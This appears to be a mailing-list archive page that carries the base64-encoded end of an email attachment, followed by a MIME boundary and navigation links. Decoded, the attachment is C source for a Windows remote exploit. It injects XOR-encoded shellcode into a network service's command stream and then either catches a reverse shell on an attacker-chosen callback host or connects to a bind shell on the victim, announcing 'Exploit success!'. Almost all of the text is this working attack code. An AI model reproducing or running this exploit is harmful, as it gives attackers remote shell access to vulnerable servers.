cihjYkhvc3QpXjB4OTM5MzkzOTM7DQoJCW1lbWNweSgmY2JzY1tQT1JUX09GRlNFVF0sICZzaHBv
cnQyLCAyKTsNCgkJbWVtY3B5KCZjYnNjW0lQX09GRlNFVF0sICZjYmlwLCA0KTsNCgkJc3RyY2F0
KHN6Q29tbWFuZCwgY2JzYyk7CQkNCgl9DQoJZWxzZQ0KCXsNCgkJLy8gYmluZCBzaGVsbGNvZGUN
CgkJc2hwb3J0MiA9IGh0b25zKHNocG9ydCleKHVfc2hvcnQpMHg5MzkzOw0KCQltZW1jcHkoJnNj
W0JJTkRfT0ZGU0VUXSwgJnNocG9ydDIsIDIpOw0KCQlzdHJjYXQoc3pDb21tYW5kLCBzYyk7DQoJ
fQ0KDQoJLy8gZmlsbCB0aGUgc2hlbGxjb2RlIGVuZCBzaWduDQoJc3RyY2F0KHN6Q29tbWFuZCwg
c2NfZW5kKTsNCg0KCS8vIHNlbmQgZW5kDQoJc3RyY2F0KHN6Q29tbWFuZCwgIlxyXG4iKTsNCg0K
CWlmKHN0cmxlbihzekNvbW1hbmQpID49IHNpemVvZihzekNvbW1hbmQpKQ0KCXsNCgkJcHJpbnRm
KCJbLV0gc3RhY2sgYnVmZmVyIG92ZXJmbG93LlxuIik7DQoJCXJldHVybjsNCgl9DQoJDQovLwlw
cmludGYoInNlbmQgc2l6ZSAlZDolcyIsIHN0cmxlbihzekNvbW1hbmQpLCBzekNvbW1hbmQpOw0K
CQ0KCV9fdHJ5DQoJew0KCQlpZiAoV1NBU3RhcnR1cChNQUtFV09SRCgxLDEpLCAmd3NkKSAhPSAw
KQ0KCQl7DQoJCQlwcmludGYoIlstXSBXU0FTdGFydHVwIGVycm9yOiVkXG4iLCBXU0FHZXRMYXN0
RXJyb3IoKSk7DQoJCQlfX2xlYXZlOw0KCQl9DQoNCgkJcz1zb2NrZXQoQUZfSU5FVCwgU09DS19T
VFJFQU0sIElQUFJPVE9fVENQKTsNCgkJaWYocyA9PSBJTlZBTElEX1NPQ0tFVCkNCgkJew0KCQkJ
cHJpbnRmKCJbLV0gQ3JlYXRlIHNvY2tldCBmYWlsZWQ6JWQiLEdldExhc3RFcnJvcigpKTsNCgkJ
CV9fbGVhdmU7DQoJCX0NCg0KCQlzYS5zaW5fZmFtaWx5PUFGX0lORVQ7DQoJCXNhLnNpbl9wb3J0
PWh0b25zKChVU0hPUlQpaVBvcnQpOw0KCQlzYS5zaW5fYWRkci5TX3VuLlNfYWRkcj1pbmV0X2Fk
ZHIoaXApOw0KDQoJCXNldHNvY2tvcHQocyxTT0xfU09DS0VULFNPX1JDVlRJTUVPLChjaGFyICop
JnRpbWVvdXQsc2l6ZW9mKHVuc2lnbmVkIGludCkpOw0KCQlpRXJyID0gY29ubmVjdChzLChzdHJ1
Y3Qgc29ja2FkZHIgKikmc2Esc2l6ZW9mKHNhKSk7DQoJCWlmKGlFcnIgPT0gU09DS0VUX0VSUk9S
KQ0KCQl7DQoJCQlwcmludGYoIlstXSBDb25uZWN0IHRvICVzOiVkIGVycm9yOiVkXG4iLCBpcCwg
aVBvcnQsIEdldExhc3RFcnJvcigpKTsNCgkJCV9fbGVhdmU7DQoJCX0NCgkJcHJpbnRmKCJbK10g
Q29ubmVjdCB0byAlczolZCBzdWNjZXNzLlxuIiwgaXAsIGlQb3J0KTsNCgkJDQoJCWlmKGJDYikN
CgkJew0KCQkJU2xlZXAoNTAwKTsNCgkJCXMyID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0s
SVBQUk9UT19UQ1ApOw0KDQoJCQlzZXJ2ZXIuc2luX2ZhbWlseT1BRl9JTkVUOw0KCQkJc2VydmVy
LnNpbl9hZGRyLlNfdW4uU19hZGRyPWluZXRfYWRkcihjYkhvc3QpOw0KCQkJLy9zZXJ2ZXIuc2lu
X2FkZHIuc19hZGRyPUlOQUREUl9BTlk7IA0KCQkJc2VydmVyLnNpbl9wb3J0PWh0b25zKCh1bnNp
Z25lZCBzaG9ydClzaHBvcnQpOw0KDQoJCQlzZXRzb2Nrb3B0KHMyLFNPTF9TT0NLRVQsU09fUkNW
VElNRU8sKGNoYXIgKikmdGltZW91dCxzaXplb2YodW5zaWduZWQgaW50KSk7DQoNCgkJCVJldXNl
ID0gMTsgDQoJCQlzZXRzb2Nrb3B0KHMyLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIChjaGFy
KikmUmV1c2UsIHNpemVvZihSZXVzZSkpOw0KDQoJCQlpZihiaW5kKHMyLChMUFNPQ0tBRERSKSZz
ZXJ2ZXIsc2l6ZW9mKHNlcnZlcikpPT1TT0NLRVRfRVJST1IpDQoJCQl7DQoJCQkJcHJpbnRmKCJb
LV0gQmluZCBwb3J0IG9uICVzOiVkIGVycm9yLlxuIiwgY2JIb3N0LCBzaHBvcnQpOw0KCQkJCXBy
aW50ZigiWy1dIFlvdSBtdXN0IHJ1biBuYyBnZXQgdGhlIHNoZWxsLlxuIik7DQoJCQkJYkxvY2Fs
ID0gRkFMU0U7DQoJCQkJLy9jbG9zZXNvY2tldChzMik7DQoJCQkJLy9fX2xlYXZlOw0KCQkJfQ0K
CQkJZWxzZQ0KCQkJewkNCgkJCQlwcmludGYoIlsrXSBCaW5kIHBvcnQgb24gJXM6JWQgc3VjY2Vz
cy5cbiIsIGNiSG9zdCwgc2hwb3J0KTsNCgkJCQlsaXN0ZW4oczIsIDEpOyANCgkJCX0NCgkJfQ0K
CQkNCgkJZm9yKGk9MDtpPHNpemVvZihzelNlbmQpL3NpemVvZihzelNlbmRbMF0pO2krKykNCgkJ
ew0KCQkJbWVtc2V0KHN6UmVjdkJ1ZmYsIDAsIHNpemVvZihzelJlY3ZCdWZmKSk7DQoJCQlpRXJy
ID0gcmVjdihzLCBzelJlY3ZCdWZmLCBzaXplb2Yoc3pSZWN2QnVmZiksIDApOw0KCQkJaWYoaUVy
ciA9PSBTT0NLRVRfRVJST1IpDQoJCQl7DQoJCQkJcHJpbnRmKCJbLV0gUmVjdiBidWZmZXIgZXJy
b3I6JWQuXG4iLCBXU0FHZXRMYXN0RXJyb3IoKSk7DQoJCQkJX19sZWF2ZTsNCgkJCX0NCgkJCXBy
aW50ZigiWytdIFJlY3Y6ICVzIiwgc3pSZWN2QnVmZik7DQoJCQkNCgkJCWlmKHN6UmVjdkJ1ZmZb
MF0gPT0gJzUnKQ0KCQkJew0KCQkJCXByaW50ZigiWy1dIFNlcnZlciByZXR1cm4gYSBlcnJvciBN
ZXNzYWdlLlxyXG4iKTsNCgkJCQlfX2xlYXZlOw0KCQkJfQ0KDQoJCQlpRXJyID0gc2VuZChzLCBz
elNlbmRbaV0sIHN0cmxlbihzelNlbmRbaV0pLDApOw0KCQkJaWYoaUVyciA9PSBTT0NLRVRfRVJS
T1IpDQoJCQl7DQoJCQkJcHJpbnRmKCJbLV0gU2VuZCBidWZmZXIgZXJyb3I6JWQuXG4iLCBXU0FH
ZXRMYXN0RXJyb3IoKSk7DQoJCQkJX19sZWF2ZTsNCgkJCX0NCg0KCQkJaWYoaT09c2l6ZW9mKHN6
U2VuZCkvc2l6ZW9mKHN6U2VuZFswXSktMSkNCgkJCQlwcmludGYoIlsrXSBTZW5kIHNoZWxsY29k
ZSAlZCBieXRlcy5cbiIsIGlFcnIpOw0KCQkJZWxzZQ0KCQkJCXByaW50ZigiWytdIFNlbmQ6ICVz
Iiwgc3pTZW5kW2ldKTsNCgkJfQ0KDQoJCXByaW50ZigiWytdIElmIHlvdSBkb24ndCBoYXZlIGEg
c2hlbGwgaXQgZGlkbid0IHdvcmsuXG4iKTsNCg0KCQlpZihiQ2IpDQoJCXsNCgkJCWlmKGJMb2Nh
bCkNCgkJCXsNCgkJCQlwcmludGYoIlsrXSBXYWl0IGZvciBzaGVsbC4uLlxuIik7DQoJCQkNCgkJ
CQlsZW4gPSBzaXplb2YoY2xpZW50KTsNCgkJCQlzMyA9IGFjY2VwdChzMiwgKHN0cnVjdCBzb2Nr
YWRkciopJmNsaWVudCwgJmxlbik7IA0KCQkJCWlmKHMzICE9IElOVkFMSURfU09DS0VUKSANCgkJ
CQl7IA0KCQkJCQlwcmludGYoIlsrXSBFeHBsb2l0IHN1Y2Nlc3MhIEdvb2QgbHVjayEgOilcbiIp
Ow0KCQkJCQlwcmludGYoIlsrXSA9PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09
PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PVxuIik7DQoJCQkJCXNoZWxsKHMzKTsNCgkJ
CQl9DQoJCQl9CQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnRmKCJbK10gQ29ubmVjdCB0byBz
aGVsbC4uLlxuIik7DQoJCQkNCgkJCVNsZWVwKDEwMDApOw0KCQkJczIgPSBzb2NrZXQoQUZfSU5F
VCxTT0NLX1NUUkVBTSxJUFBST1RPX1RDUCk7DQoJCQlzZXJ2ZXIuc2luX2ZhbWlseSA9IEFGX0lO
RVQ7DQoJCQlzZXJ2ZXIuc2luX3BvcnQgPSBodG9ucyhzaHBvcnQpOw0KCQkJc2VydmVyLnNpbl9h
ZGRyLnNfYWRkcj1pbmV0X2FkZHIoaXApOw0KDQoJCQlyZXQgPSBjb25uZWN0KHMyLCAoc3RydWN0
IHNvY2thZGRyICopJnNlcnZlciwgc2l6ZW9mKHNlcnZlcikpOw0KCQkJaWYocmV0IT0wKQ0KCQkJ
ew0KCQkJCXByaW50ZigiWy1dIEV4cGxvaXQgc2VlbSBmYWlsZWQuXG4iKTsNCgkJCQlfX2xlYXZl
Ow0KCQkJfQ0KCQkJDQoJCQlwcmludGYoIlsrXSBFeHBsb2l0IHN1Y2Nlc3MhIEdvb2QgbHVjayEg
OilcbiIpOw0KCQkJcHJpbnRmKCJbK10gPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09
LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT1cbiIpOw0KCQkJc2hlbGwoczIpOw0K
CQl9DQoJCQ0KCQkNCgl9DQoNCiAJX19maW5hbGx5DQoJew0KCQlpZihzICE9IElOVkFMSURfU09D
S0VUKSBjbG9zZXNvY2tldChzKTsNCgkJaWYoczIgIT0gSU5WQUxJRF9TT0NLRVQpIGNsb3Nlc29j
a2V0KHMyKTsNCgkJaWYoczMgIT0gSU5WQUxJRF9TT0NLRVQpIGNsb3Nlc29ja2V0KHMzKTsNCgkJ
V1NBQ2xlYW51cCgpOw0KCX0NCg0KCXJldHVybjsNCn0NCg==

--=====001_Dragon745453014331_=====--


home help back first fref pref prev next nref lref last post